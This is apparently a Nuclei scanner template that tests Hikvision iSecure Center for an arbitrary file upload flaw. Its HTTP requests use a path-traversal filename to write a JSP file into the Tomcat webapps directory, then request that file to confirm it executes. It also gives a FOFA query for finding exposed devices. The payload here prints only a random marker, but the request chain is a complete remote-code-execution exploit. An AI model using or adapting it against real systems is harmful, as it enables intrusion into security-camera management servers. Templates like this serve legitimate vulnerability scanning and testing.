id: hikvision-js-files-upload info: name: Hikvision iSecure Center - File Upload author: Xc1Ym severity: critical description: | THikvision iSecure Center /center/api/files;.js has an arbitrary file upload vulnerability reference: - https://zhuanlan.zhihu.com/p/639514473 - https://mp.weixin.qq.com/s/DR9xbwnrpg6YYSTw5pIAhw - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/hikvision-files-upload.yaml metadata: max-request: 2 fofa-query: icon_hash="-808437027",app="HIKVISION-综合安防管理平台",title="综合安防管理平台" verified: true tags: fileupload,iot,hikvision,intrusive variables: filename: '{{rand_base(6)}}' payload: '{{rand_base(6)}}' str3: '<%out.print("{{payload}}");%>' http: - raw: - | POST /center/api/files;.js HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 ------WebKitFormBoundarygcflwtei Content-Disposition: form-data; name="upload";filename="../../../../../bin/tomcat/apache-tomcat/webapps/clusterMgr/{{filename}}.jsp" Content-Type:image/jpeg {{str3}} ------WebKitFormBoundarygcflwtei-- - | GET /clusterMgr/{{filename}}.jsp;.js HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code_2 == 200 - contains(body_2, str3) # digest: 490a0046304402203ff698fd244ec391258278bf50df5db1df468e74153920de171db1598c3d3533022065afa70e110387bc4ee5089990a4319ca09af43efbc2f75229584e9f853e93c3:922c64590222798bb761d5b6d8e72950